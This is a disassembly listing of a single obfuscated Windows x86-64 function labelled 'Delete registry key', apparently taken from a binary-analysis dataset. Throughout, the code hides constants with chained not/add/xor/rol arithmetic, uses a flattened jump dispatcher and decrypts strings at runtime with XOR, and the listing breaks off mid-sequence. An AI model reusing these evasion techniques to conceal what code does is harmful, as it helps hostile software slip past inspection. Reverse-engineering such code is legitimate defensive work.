Function at 0x140152118
Capabilities:
Delete registry key

Disassembly:
push rax
pushf
mov eax, 0xb9042bc2
pushf
not eax
add eax, 0x9927b441
xor eax, 0xd9995eaa
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x863ef682
xor eax, 0xe97ece83
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xd1b09f31
xor eax, 0x8ed4bf87
rol eax, 0x7f
popf
cmp eax, 4
jne 0x140152168
popf
pop rax
jmp 0x140153e49
cmp eax, 0
jne 0x140152177
popf
pop rax
jmp 0x14015220d
cmp eax, 3
jne 0x140152186
popf
pop rax
jmp 0x140153dc9
cmp eax, 1
jne 0x140152195
popf
pop rax
jmp 0x1401525d6
cmp eax, 0xa
jne 0x1401521a4
popf
pop rax
jmp 0x1401549c8
cmp eax, 7
jne 0x1401521b3
popf
pop rax
jmp 0x14015427e
cmp eax, 6
jne 0x1401521c2
popf
pop rax
jmp 0x140153f01
cmp eax, 0xb
jne 0x1401521d1
popf
pop rax
jmp 0x140154a32
cmp eax, 9
jne 0x1401521e0
popf
pop rax
jmp 0x140154946
cmp eax, 8
jne 0x1401521ef
popf
pop rax
jmp 0x140154881
cmp eax, 5
jne 0x1401521fe
popf
pop rax
jmp 0x140153ea5
cmp eax, 2
jne 0x14015220d
popf
pop rax
jmp 0x140152610
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x6c0
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 0xee36d706
pushf
not ecx
add ecx, 0x87c22c68
xor ecx, 0xa79d20b4
rol ecx, 0x8a
popf
pushf
not ecx
add ecx, 0xd5e8a87f
xor ecx, 0xb021fccc
rol ecx, 0x1f
popf
pushf
not ecx
add ecx, 0xeaa15d58
xor ecx, 0x848945b2
rol ecx, 0x52
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x21]
mov rdi, rax
xor eax, eax
mov ecx, 0xee006574
pushf
not ecx
add ecx, 0xb04e9c60
xor ecx, 0xcd9a1e03
rol ecx, 0xe5
popf
pushf
not ecx
add ecx, 0xb0cbd9e1
xor ecx, 0xa805d6c8
rol ecx, 0x60
popf
pushf
not ecx
add ecx, 0xfdaf5e5b
xor ecx, 0xfe7733ee
rol ecx, 0x1d
popf
pushf
not ecx
add ecx, 0x819b7783
xor ecx, 0xdd57de8d
rol ecx, 0x4b
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x20]
mov byte [rsp + 0xa8], al
movzx eax, byte [rsp + 0x21]
mov byte [rsp + 0x38], al
movabs rax, 0xb207bcbb33e7b26d
pushf
not rax
add rax, 0x4ef47d06
xor rax, 0x79bd5c2d
rol rax, 0xad
popf
pushf
not rax
add rax, 0x5da342e9
xor rax, 0x50b58fa1
rol rax, 0x12
popf
pushf
not rax
add rax, 0x46b0ddc9
xor rax, 0x51e27312
rol rax, 0x81
popf
mov qword [rsp + 0x130], rax
movabs rax, 0x591f32c86dcd2469
pushf
not rax
add rax, 0x7c0a7e64
xor rax, 0x6c687f5e
rol rax, 0xad
popf
pushf
not rax
add rax, 0x6ee37dc7
xor rax, 0x7097f9ea
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x52f48043
xor rax, 0x7bc5beca
rol rax, 0x6e
popf
pushf
not rax
add rax, 0x74faeaa6
xor rax, 0x579c70f8
rol rax, 0x81
popf
mov qword [rsp + 0x138], rax
movabs rax, 0x8093a98825565d8e
pushf
not rax
add rax, 0x7495d582
xor rax, 0x5f0c0a13
rol rax, 0x99
popf
pushf
not rax
add rax, 0x50340b01
xor rax, 0x4fb00eb3
rol rax, 0x27
popf
pushf
not rax
add rax, 0x6911fdf5
xor rax, 0x78e149eb
rol rax, 0xab
popf
mov qword [rsp + 0x2b0], rax
movabs rax, 0xdc4ae64ccfd1e4b0
pushf
not rax
add rax, 0x766a4c2a
xor rax, 0x57823018
rol rax, 0x81
popf
pushf
not rax
add rax, 0x41c36272
xor rax, 0x633809c9
rol rax, 0x6d
popf
mov qword [rsp + 0x2b8], rax
lea rax, [rsp + 0x22]
mov rdi, rax
xor eax, eax
mov ecx, 0xad8c02a3
pushf
not ecx
add ecx, 0xb4ee28cd
xor ecx, 0xbcddd35c
rol ecx, 0xe4
popf
pushf
not ecx
add ecx, 0xe7844165
xor ecx, 0xea4e80a6
rol ecx, 0x3d
popf
pushf
not ecx
add ecx, 0x916981f2
xor ecx, 0x806bbfb5
rol ecx, 0xf1
popf
pushf
not ecx
add ecx, 0xfde7e51b
xor ecx, 0xe715b263
rol ecx, 0x69
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x22]
mov byte [rsp + 0x40], al
movdqa xmm0, xmmword [rsp + 0x2b0]
movdqa xmmword [rsp + 0x640], xmm0
movdqa xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x4f0], xmm0
movdqa xmm0, xmmword [rsp + 0x4f0]
pxor xmm0, xmmword [rsp + 0x640]
movdqa xmmword [rsp + 0x650], xmm0
movdqa xmm0, xmmword [rsp + 0x650]
movdqa xmmword [rsp + 0x130], xmm0
lea rax, [rsp + 0x130]
mov rcx, rax
jmp 0x14015250b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x108], rax
cmp qword [rsp + 0x108], 0
jne 0x14015257d
push rax
pushf
mov eax, 0xafc7916a
pushf
not eax
add eax, 0xc6aa18c7
xor eax, 0x9fee126f
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xd5a71d94
xor eax, 0xb756cf89
rol eax, 0x19
popf
pushf
not eax
add eax, 0xa5f896e9
xor eax, 0xff827cdc
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x9018a0cf
xor eax, 0xa97176c3
rol eax, 0x43
popf
jmp 0x140152159
push rax
pushf
mov eax, 0xb3ff4d2d
pushf
not eax
add eax, 0xb575a747
xor eax, 0xa2e05e9a
rol eax, 0x57
popf
pushf
not eax
add eax, 0xd4c253df
xor eax, 0x90d7d21a
rol eax, 0xe1
popf
pushf
not eax
add eax, 0x883be00d
xor eax, 0xd873a8aa
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xde698c94
xor eax, 0x991f18c3
rol eax, 0xb1
popf
jmp 0x140152159
xor al, al
jmp 0x140154a32
lea rax, [rsp + 0x23]
mov rdi, rax
xor eax, eax
mov ecx, 0x7fecf0da
pushf
not ecx
add ecx, 0xccb40d3b
xor ecx, 0xcb6fa9a0
rol ecx, 0x9b
popf
pushf
not ecx
add ecx, 0x90dc27f8
xor ecx, 0x889ee249
rol ecx, 0xa6
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x24]
mov rdi, rax
xor eax, eax
mov ecx, 0x1002846
pushf
not ecx
add ecx, 0xb6f6ddf1
xor ecx, 0x8faf8d8c
rol ecx, 0xf4
popf
pushf
not ecx
add ecx, 0xdf587853
xor ecx, 0x8593386f
rol ecx, 0x8e
popf
pushf
not ecx
add ecx, 0xd3f8d1e5
xor ecx, 0xd9449a8b
rol ecx, 0x38
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x23]
mov byte [rsp + 0x48], al
movzx eax, byte [rsp + 0x24]
mov byte [rsp + 0x50], al
movabs rax, 0x1961f3ce8c5776eb
pushf
not rax
add rax, 0x4b056347
xor rax, 0x66875bd5
rol rax, 0xc3
popf
pushf
not rax
add rax, 0x7a09ca04
xor rax, 0x45c34c02
rol rax, 0xcc
popf
pushf
not rax
add rax, 0x63caeb18
xor rax, 0x7f4b80a0
rol rax, 0x21
popf
mov qword [rsp + 0x240], rax
movabs rax, 0x28c12899b4c4bc49
pushf
not rax
add rax, 0x7bb1e363
xor rax, 0x6f7ea9c2
rol rax, 0xbc
popf
pushf
not rax
add rax, 0x4e0daf00
xor rax, 0x74e16552
rol rax, 0x82
popf
pushf
not rax
add rax, 0x4d154359
xor rax, 0x40b8f7a8
rol rax, 0xc2
popf
mov qword [rsp + 0x248], rax
movabs rax, 0x63f0d24610b5ab52
pushf
not rax
add rax, 0x72b7adb8
xor rax, 0x71ed2036
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x62007141
xor rax, 0x4ec8a27a
rol rax, 4
popf
mov qword [rsp + 0x250], rax
movabs rax, 0xae7a4c6616cd7db7
pushf
not rax
add rax, 0x55d94492
xor rax, 0x6cfb5a24
rol rax, 0x53
popf
pushf
not rax
add rax, 0x54148873
xor rax, 0x5f679321
rol rax, 0x71
popf
pushf
not rax
add rax, 0x49369af5
xor rax, 0x4540740f
rol rax, 0xa4
popf
pushf
not rax
add rax, 0x742bb18a
xor rax, 0x6e2a5cfe
rol rax, 0x78
popf
mov qword [rsp + 0x258], rax
movabs rax, 0x8ecbe64d86358d96
pushf
not rax
add rax, 0x44ac68c7
xor rax, 0x5419cfa8
rol rax, 0xa5
popf
pushf
not rax
add rax, 0x7f9d7955
xor rax, 0x627a6410
rol rax, 0x8d
popf
pushf
not rax
add rax, 0x6563d632
xor rax, 0x7347a8fa
rol rax, 0
popf
mov qword [rsp + 0x260], rax
movabs rax, 0x3cfa4257feb44c1e
pushf
not rax
add rax, 0x731b7188
xor rax, 0x46541c77
rol rax, 0x5a
popf
pushf
not rax
add rax, 0x58882dc4
xor rax, 0x5c069e4b
rol rax, 0xfc
popf
pushf
not rax
add rax, 0x657a1e7d
xor rax, 0x617d7190
rol rax, 0xd9
popf
pushf
not rax
add rax, 0x6cb6351b
xor rax, 0x5954a013
rol rax, 0xbf
popf
mov qword [rsp + 0x268], rax
movabs rax, 0xe78a4279e3211923
pushf
not rax
add rax, 0x6080a3d5
xor rax, 0x7269f730
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x433d5229
xor rax, 0x66a0deca
rol rax, 0x31
popf
pushf
not rax
add rax, 0x53315b26
xor rax, 0x4e6a45ca
rol rax, 0x65
popf
pushf
not rax
add rax, 0x7622e190
xor rax, 0x53415de7
rol rax, 0xdc
popf
mov qword [rsp + 0x270], rax
movabs rax, 0x9486099c34542fd5
pushf
not rax
add rax, 0x4fb212e9
xor rax, 0x7c614ac6
rol rax, 0xf6
popf
pushf
not rax
add rax, 0x572bfb9e
xor rax, 0x44a13b04
rol rax, 0x26
popf
mov qword [rsp + 0x278], rax
movabs rax, 0x160d809245e358e1
pushf
not rax
add rax, 0x65228cb3
xor rax, 0x4053a5e7
rol rax, 0x39
popf
pushf
not rax
add rax, 0x665ced3a
xor rax, 0x5dd7a448
rol rax, 0xa2
popf
pushf
not rax
add rax, 0x7ae069fc
xor rax, 0x53855b47
rol rax, 0x4b
popf
mov qword [rsp + 0x280], rax
movabs rax, 0x38d4cc75677750cb
pushf
not rax
add rax, 0x78011699
xor rax, 0x60692d82
rol rax, 0xf6
popf
pushf
not rax
add rax, 0x7a87f5d7
xor rax, 0x73f2e177
rol rax, 0x16
popf
pushf
not rax
add rax, 0x7f6de349
xor rax, 0x73c36d2b
rol rax, 0x12
popf
pushf
not rax
add rax, 0x7066e449
xor rax, 0x6a55234c
rol rax, 7
popf
mov qword [rsp + 0x288], rax
movabs rax, 0xe4ea60293891ba43
pushf
not rax
add rax, 0x75cf4e4c
xor rax, 0x4c72e397
rol rax, 0x3d
popf
pushf
not rax
add rax, 0x79bf1e50
xor rax, 0x5a1f4831
rol rax, 0x58
popf
pushf
not rax
add rax, 0x48d58c76
xor rax, 0x72ea2363
rol rax, 0x8c
popf
mov qword [rsp + 0x290], rax
movabs rax, 0x2ba593c66fcda213
pushf
not rax
add rax, 0x5887104f
xor rax, 0x576a9d70
rol rax, 0x7c
popf
pushf
not rax
add rax, 0x4b82d02c
xor rax, 0x440c14d5
rol rax, 0x86
popf
pushf
not rax
add rax, 0x7107f63e
xor rax, 0x72e0f7ed
rol rax, 0xcf
popf
pushf
not rax
add rax, 0x55f0604e
xor rax, 0x6d8c0a7c
rol rax, 0xaa
popf
mov qword [rsp + 0x298], rax
movabs rax, 0x8a340b0d73a7c6a5
pushf
not rax
add rax, 0x69bd38cc
xor rax, 0x6cc2d4c3
rol rax, 1
popf
pushf
not rax
add rax, 0x4a374c5a
xor rax, 0x7117b110
rol rax, 0x74
popf
pushf
not rax
add rax, 0x69f52341
xor rax, 0x55326702
rol rax, 0x69
popf
mov qword [rsp + 0x2a0], rax
movabs rax, 0x376e9e008b936d23
pushf
not rax
add rax, 0x5d33fa38
xor rax, 0x79b473f8
rol rax, 0x9a
popf
pushf
not rax
add rax, 0x61d45339
xor rax, 0x61f974eb
rol rax, 0x82
popf
pushf
not rax
add rax, 0x5475591e
xor rax, 0x6bf2defd
rol rax, 0xc4
popf
pushf
not rax
add rax, 0x445065fd
xor rax, 0x46d4a303
rol rax, 0xf1
popf
mov qword [rsp + 0x2a8], rax
movabs rax, 0x9ceef394142245f9
pushf
not rax
add rax, 0x5af9673a
xor rax, 0x44c3d541
rol rax, 0x17
popf
pushf
not rax
add rax, 0x7b210402
xor rax, 0x4b8f7deb
rol rax, 0x79
popf
mov qword [rsp + 0x2d0], rax
movabs rax, 0xc9579a9e461ca038
pushf
not rax
add rax, 0x6c6adaf2
xor rax, 0x7a179499
rol rax, 0xab
popf
pushf
not rax
add rax, 0x49e7f2f5
xor rax, 0x61807299
rol rax, 0x6f
popf
pushf
not rax
add rax, 0x6a5e4c7d
xor rax, 0x7ef400e2
rol rax, 0x45
popf
mov qword [rsp + 0x2d8], rax
movabs rax, 0x54c5ee31e1c3758c
pushf
not rax
add rax, 0x44ea0621
xor rax, 0x5320cc73
rol rax, 0x40
popf
pushf
not rax
add rax, 0x75e35f70
xor rax, 0x4f6c14eb
rol rax, 0xf4
popf
pushf
not rax
add rax, 0x70c30d34
xor rax, 0x62423102
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x4a9ccd0a
xor rax, 0x4a4af2a2
rol rax, 0x42
popf
mov qword [rsp + 0x2e0], rax
movabs rax, 0xa34d07ee53806384
pushf
not rax
add rax, 0x4bd581f6
xor rax, 0x547de59e
rol rax, 0x81
popf
pushf
not rax
add rax, 0x482fa7cc
xor rax, 0x6bae9b7c
rol rax, 0xc5
popf
mov qword [rsp + 0x2e8], rax
movabs rax, 0x62e2f774cea3d77d
pushf
not rax
add rax, 0x6efc3e08
xor rax, 0x7d1c9c3d
rol rax, 0x72
popf
pushf
not rax
add rax, 0x6143fed0
xor rax, 0x4e2d5ecb
rol rax, 0x84
popf
mov qword [rsp + 0x2f0], rax
movabs rax, 0xbf47d7c86b798fba
pushf
not rax
add rax, 0x58780531
xor rax, 0x5d5b3a15
rol rax, 0xc2
popf
pushf
not rax
add rax, 0x75c2682a
xor rax, 0x7a82a171
rol rax, 0x37
popf
pushf
not rax
add rax, 0x42112e32
xor rax, 0x73c86fa2
rol rax, 0x89
popf
pushf
not rax
add rax, 0x4754e488
xor rax, 0x5bbfa8eb
rol rax, 0x60
popf
mov qword [rsp + 0x2f8], rax
movabs rax, 0x783c60c32d70be99
pushf
not rax
add rax, 0x6316459d
xor rax, 0x42974e61
rol rax, 0x8b
popf
pushf
not rax
add rax, 0x73ebd659
xor rax, 0x7246bc67
rol rax, 0x67
popf
pushf
not rax
add rax, 0x506c0cab
xor rax, 0x799ab0a3
rol rax, 0xc6
popf
mov qword [rsp + 0x300], rax
movabs rax, 0xf6b021953599ae00
pushf
not rax
add rax, 0x4d5cbf34
xor rax, 0x7a27bd5a
rol rax, 0x3a
popf
pushf
not rax
add rax, 0x4050c7bc
xor rax, 0x78ad280b
rol rax, 0xcd
popf
pushf
not rax
add rax, 0x670e509c
xor rax, 0x7632f094
rol rax, 0xea
popf
pushf
not rax
add rax, 0x79e3cb2f
xor rax, 0x71f45504
rol rax, 0x28
popf
mov qword [rsp + 0x308], rax
movabs rax, 0x60d4d8d4f1979574
pushf
not rax
add rax, 0x62b68097
xor rax, 0x432e5b5e
rol rax, 0x40
popf
pushf
not rax
add rax, 0x481f70a8
xor rax, 0x43498d59
rol rax, 0x7a
popf
mov qword [rsp + 0x310], rax
movabs rax, 0x23e530e4ad94badd
pushf
not rax
add rax, 0x7f0b4623
xor rax, 0x45443ec8
rol rax, 0xc0
popf
pushf
not rax
add rax, 0x7018257c
xor rax, 0x5375195b
rol rax, 0xa
popf
pushf
not rax
add rax, 0x4b5003f2
xor rax, 0x707fbe81
rol rax, 0x61
popf
pushf
not rax
add rax, 0x5821fad7
xor rax, 0x490a9031
rol rax, 0xcc
popf
mov qword [rsp + 0x318], rax
movabs rax, 0x2a2b24b2fefe1859
pushf
not rax
add rax, 0x4c5eca6c
xor rax, 0x60960477
rol rax, 0x81
popf
pushf
not rax
add rax, 0x547dcba2
xor rax, 0x7dee61ee
rol rax, 0x35
popf
mov qword [rsp + 0x320], rax
movabs rax, 0x5505785c2bc1813c
pushf
not rax
add rax, 0x407ca80d
xor rax, 0x671928ee
rol rax, 0xcb
popf
pushf
not rax
add rax, 0x7a02be07
xor rax, 0x607855b7
rol rax, 0xe0
popf
pushf
not rax
add rax, 0x706da430
xor rax, 0x55327734
rol rax, 0x2d
popf
pushf
not rax
add rax, 0x5b8f766c
xor rax, 0x46e29cd2
rol rax, 0x4f
popf
mov qword [rsp + 0x328], rax
movabs rax, 0x2e2bc3fcbedc2efd
pushf
not rax
add rax, 0x72142a8c
xor rax, 0x78b694fd
rol rax, 0xcd
popf
pushf
not rax
add rax, 0x6ed9785c
xor rax, 0x41cc18df
rol rax, 0x1d
popf
pushf
not rax
add rax, 0x5bd3e93c
xor rax, 0x434c1bcb
rol rax, 0x93
popf
mov qword [rsp + 0x330], rax
movabs rax, 0xeb00e0d7fae190e3
pushf
not rax
add rax, 0x6bdd077c
xor rax, 0x564ee730
rol rax, 0xad
popf
pushf
not rax
add rax, 0x5e94ce65
xor rax, 0x5fa80da8
rol rax, 0xbc
popf
mov qword [rsp + 0x338], rax
lea rax, [rsp + 0x25]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c78b585
pushf
not ecx
add ecx, 0xbf0cbfa6
xor ecx, 0xed75d967
rol ecx, 0xa0
popf
pushf
not ecx
add ecx, 0x8a7c47c6
xor ecx, 0xfaf05d7f
rol ecx, 0x5a
popf
pushf
not ecx
add ecx, 0x9dde367a
xor ecx, 0x999c8dd5
rol ecx, 0x29
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x25]
mov byte [rsp + 0x58], al
movdqa xmm0, xmmword [rsp + 0x2d0]
movdqa xmmword [rsp + 0x670], xmm0
movdqa xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x660], xmm0
movdqa xmm0, xmmword [rsp + 0x660]
pxor xmm0, xmmword [rsp + 0x670]
movdqa xmmword [rsp + 0x680], xmm0
movdqa xmm0, xmmword [rsp + 0x680]
movdqa xmmword [rsp + 0x240], xmm0
lea rax, [rsp + 0x250]
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0x2e0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x6a0], xmm0
mov rax, qword [rsp + 0xb8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x690], xmm0
movdqa xmm0, xmmword [rsp + 0x690]
pxor xmm0, xmmword [rsp + 0x6a0]
movdqa xmmword [rsp + 0x3b0], xmm0
mov rax, qword [rsp + 0xb8]
movdqa xmm0, xmmword [rsp + 0x3b0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x260]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0x2f0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x3d0], xmm0
mov rax, qword [rsp + 0xc0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x3c0], xmm0
movdqa xmm0, xmmword [rsp + 0x3c0]
pxor xmm0, xmmword [rsp + 0x3d0]
movdqa xmmword [rsp + 0x3e0], xmm0
mov rax, qword [rsp + 0xc0]
movdqa xmm0, xmmword [rsp + 0x3e0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x270]
mov qword [rsp + 0xc8], rax
lea rax, [rsp + 0x300]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x400], xmm0
mov rax, qword [rsp + 0xc8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x3f0], xmm0
movdqa xmm0, xmmword [rsp + 0x3f0]
pxor xmm0, xmmword [rsp + 0x400]
movdqa xmmword [rsp + 0x410], xmm0
mov rax, qword [rsp + 0xc8]
movdqa xmm0, xmmword [rsp + 0x410]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x280]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0x310]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x430], xmm0
mov rax, qword [rsp + 0xd0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x420], xmm0
movdqa xmm0, xmmword [rsp + 0x420]
pxor xmm0, xmmword [rsp + 0x430]
movdqa xmmword [rsp + 0x440], xmm0
mov rax, qword [rsp + 0xd0]
movdqa xmm0, xmmword [rsp + 0x440]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x290]
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x320]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x460], xmm0
mov rax, qword [rsp + 0xd8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x450], xmm0
movdqa xmm0, xmmword [rsp + 0x450]
pxor xmm0, xmmword [rsp + 0x460]
movdqa xmmword [rsp + 0x470], xmm0
mov rax, qword [rsp + 0xd8]
movdqa xmm0, xmmword [rsp + 0x470]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0x330]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x490], xmm0
mov rax, qword [rsp + 0xe0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x480], xmm0
movdqa xmm0, xmmword [rsp + 0x480]
pxor xmm0, xmmword [rsp + 0x490]
movdqa xmmword [rsp + 0x4a0], xmm0
mov rax, qword [rsp + 0xe0]
movdqa xmm0, xmmword [rsp + 0x4a0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x240]
mov r8, qword [rsp + 0x6d0]
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.14037b9ee
lea rax, [rsp + 0x1d0]
mov rcx, rax
call fcn.1403926a1
mov rdx, rax
lea rcx, [rsp + 0x6b0]
call sub.ntdll.dll_RtlInitUnicodeString
lea rax, [rsp + 0x26]
mov rdi, rax
xor eax, eax
mov ecx, 0x1778db99
pushf
not ecx
add ecx, 0xf1d60fd1
xor ecx, 0xe660aa0c
rol ecx, 0x24
popf
pushf
not ecx
add ecx, 0xb6377434
xor ecx, 0xf6a19639
rol ecx, 0x90
popf
pushf
not ecx
add ecx, 0x944f7c02
xor ecx, 0xac0de986
rol ecx, 0x80
popf
pushf
not ecx
add ecx, 0xd09e8629
xor ecx, 0xaf0267a5
rol ecx, 0x71
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x27]
mov rdi, rax
xor eax, eax
mov ecx, 0x12edf4bd
pushf
not ecx
add ecx, 0xeeaabb5d
xor ecx, 0xd37405ae
rol ecx, 0x77
popf
pushf
not ecx
add ecx, 0xc4e464b8
xor ecx, 0xd9e52f25
rol ecx, 0xe2
popf
pushf
not ecx
add ecx, 0x8d168b0f
xor ecx, 0xb501cd3f
rol ecx, 0xe7
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x26]
mov byte [rsp + 0x60], al
movzx eax, byte [rsp + 0x27]
mov byte [rsp + 0x68], al
movabs rax, 0x4e8b45c2eee73484
pushf
not rax
add rax, 0x6ea4764b
xor rax, 0x714c81e6
rol rax, 0x5a
popf
pushf
not rax
add rax, 0x7a566853
xor rax, 0x40911232
rol rax, 0x8b
popf
mov qword [rsp + 0x1f0], rax
movabs rax, 0x43f215fd85b879c7
pushf
not rax
add rax, 0x4ca6f77f
xor rax, 0x49ecf69d
rol rax, 0x1b
popf
pushf
not rax
add rax, 0x62f5312d
xor rax, 0x51fbc235
rol rax, 0x41
popf
mov qword [rsp + 0x1f8], rax
movabs rax, 0x3cd94028fa683d29
pushf
not rax
add rax, 0x4bbb63db
xor rax, 0x76a30a1e
rol rax, 0x65
popf
pushf
not rax
add rax, 0x6ec4faf4
xor rax, 0x5ce93564
rol rax, 0x29
popf
mov qword [rsp + 0x200], rax
movabs rax, 0x920ff7a7e6226a55
pushf
not rax
add rax, 0x7c33e78c
xor rax, 0x75ca285a
rol rax, 0xcf
popf
pushf
not rax
add rax, 0x6b120f15
xor rax, 0x521d0b32
rol rax, 0xb0
popf
mov qword [rsp + 0x208], rax
movabs rax, 0x5dc5a89fb4ae5048
pushf
not rax
add rax, 0x7f1ad058
xor rax, 0x73ae27f5
rol rax, 5
popf
pushf
not rax
add rax, 0x6222ed5a
xor rax, 0x5ed2bc72
rol rax, 0x70
popf
mov qword [rsp + 0x210], rax
movabs rax, 0x2c7fe3e5da0a64a3
pushf
not rax
add rax, 0x7806b249
xor rax, 0x537bea2b
rol rax, 0x9e
popf
pushf
not rax
add rax, 0x5fdb3f63
xor rax, 0x7cf204dd
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x53378ef1
xor rax, 0x71849ff0
rol rax, 0x7c
popf
pushf
not rax
add rax, 0x50d1f325
xor rax, 0x7ea55acd
rol rax, 0x1e
popf
mov qword [rsp + 0x218], rax
movabs rax, 0x42dc1156281a29a4
pushf
not rax
add rax, 0x799fa85b
xor rax, 0x65fdf551
rol rax, 0x1b
popf
pushf
not rax
add rax, 0x486754e7
xor rax, 0x4515d672
rol rax, 0xdc
popf
pushf
not rax
add rax, 0x64e91b6e
xor rax, 0x4ddd88f7
rol rax, 0x13
popf
pushf
not rax
add rax, 0x5b054bf9
xor rax, 0x6ffd09bb
rol rax, 0x4e
popf
mov qword [rsp + 0x220], rax
movabs rax, 0x45ba88c15ab2c5ec
pushf
not rax
add rax, 0x58d7349a
xor rax, 0x74832fea
rol rax, 0xd
popf
pushf
not rax
add rax, 0x435cea14
xor rax, 0x6e048921
rol rax, 0x1a
popf
mov qword [rsp + 0x228], rax
movabs rax, 0x8f97c1d146413187
pushf
not rax
add rax, 0x66358efc
xor rax, 0x61cdbcae
rol rax, 0x71
popf
pushf
not rax
add rax, 0x660d9115
xor rax, 0x7f8507dc
rol rax, 0x59
popf
pushf
not rax
add rax, 0x5f68c7fc
xor rax, 0x549a5dd7
rol rax, 0x9b
popf
mov qword [rsp + 0x230], rax
movabs rax, 0x39c8a05bcecdb2e7
pushf
not rax
add rax, 0x78e27be8
xor rax, 0x51b37c23
rol rax, 0x33
popf
pushf
not rax
add rax, 0x5cbf4fe6
xor rax, 0x43ee2ac7
rol rax, 0xc1
popf
mov qword [rsp + 0x238], rax
movabs rax, 0x878120e5be935e71
pushf
not rax
add rax, 0x56963d8a
xor rax, 0x40585b12
rol rax, 0x73
popf
pushf
not rax
add rax, 0x7a3e3e3d
xor rax, 0x7f92fa73
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x64f59f16
xor rax, 0x7e01304c
rol rax, 0xb7
popf
pushf
not rax
add rax, 0x7b94c7bf
xor rax, 0x67514b22
rol rax, 0xff
popf
mov qword [rsp + 0x360], rax
movabs rax, 0x5a86928d3c9e6713
pushf
not rax
add rax, 0x7144ab69
xor rax, 0x5b4b5706
rol rax, 0xfe
popf
pushf
not rax
add rax, 0x5916105a
xor rax, 0x55f78dea
rol rax, 0x9e
popf
pushf
not rax
add rax, 0x5d4f3aaf
xor rax, 0x56436455
rol rax, 0x72
popf
mov qword [rsp + 0x368], rax
movabs rax, 0x78b43cfae0f93aaf
pushf
not rax
add rax, 0x747ded24
xor rax, 0x76b5967f
rol rax, 3
popf
pushf
not rax
add rax, 0x46570bcf
xor rax, 0x675fc2ba
rol rax, 0x5f
popf
pushf
not rax
add rax, 0x4c735494
xor rax, 0x51b4d375
rol rax, 0x67
popf
pushf
not rax
add rax, 0x668abe85
xor rax, 0x431ae6d9
rol rax, 0x20
popf
mov qword [rsp + 0x370], rax
movabs rax, 0xc8db4c7f0e250a76
pushf
not rax
add rax, 0x4ff7669b
xor rax, 0x63712b03
rol rax, 0xd0
popf
pushf
not rax
add rax, 0x680e6095
xor rax, 0x74940381
rol rax, 0x11
popf
pushf
not rax
add rax, 0x525ef78e
xor rax, 0x6b6c8d9f
rol rax, 0x48
popf
pushf
not rax
add rax, 0x6f2dde34
xor rax, 0x7cd7faf1
rol rax, 0x6c
popf
mov qword [rsp + 0x378], rax
movabs rax, 0xdede73e8ea095012
pushf
not rax
add rax, 0x70712b1e
xor rax, 0x43513568
rol rax, 0x77
popf
pushf
not rax
add rax, 0x6c5437bf
xor rax, 0x59b9fc2f
rol rax, 0x8f
popf
pushf
not rax
add rax, 0x60b2228b
xor rax, 0x7e086696
rol rax, 0x7e
popf
mov qword [rsp + 0x380], rax
movabs rax, 0xcaaf04f7e56cc924
pushf
not rax
add rax, 0x50dffeda
xor rax, 0x7c7ad955
rol rax, 0x8d
popf
pushf
not rax
add rax, 0x44ab6ed7
xor rax, 0x59755972
rol rax, 0xf0
popf
mov qword [rsp + 0x388], rax
movabs rax, 0xc64e3a0d70170ab1
pushf
not rax
add rax, 0x45c12168
xor rax, 0x5ac3bb52
rol rax, 0x3f
popf
pushf
not rax
add rax, 0x68f1b4e6
xor rax, 0x5d5f70b0
rol rax, 0xda
popf
pushf
not rax
add rax, 0x7277a353
xor rax, 0x664d23b2
rol rax, 0x12
popf
pushf
not rax
add rax, 0x47ff5fa4
xor rax, 0x7278d46e
rol rax, 0x2c
popf
mov qword [rsp + 0x390], rax
movabs rax, 0xe1f86a0a1bf81330
pushf
not rax
add rax, 0x4fd32276
xor rax, 0x59b2cb0a
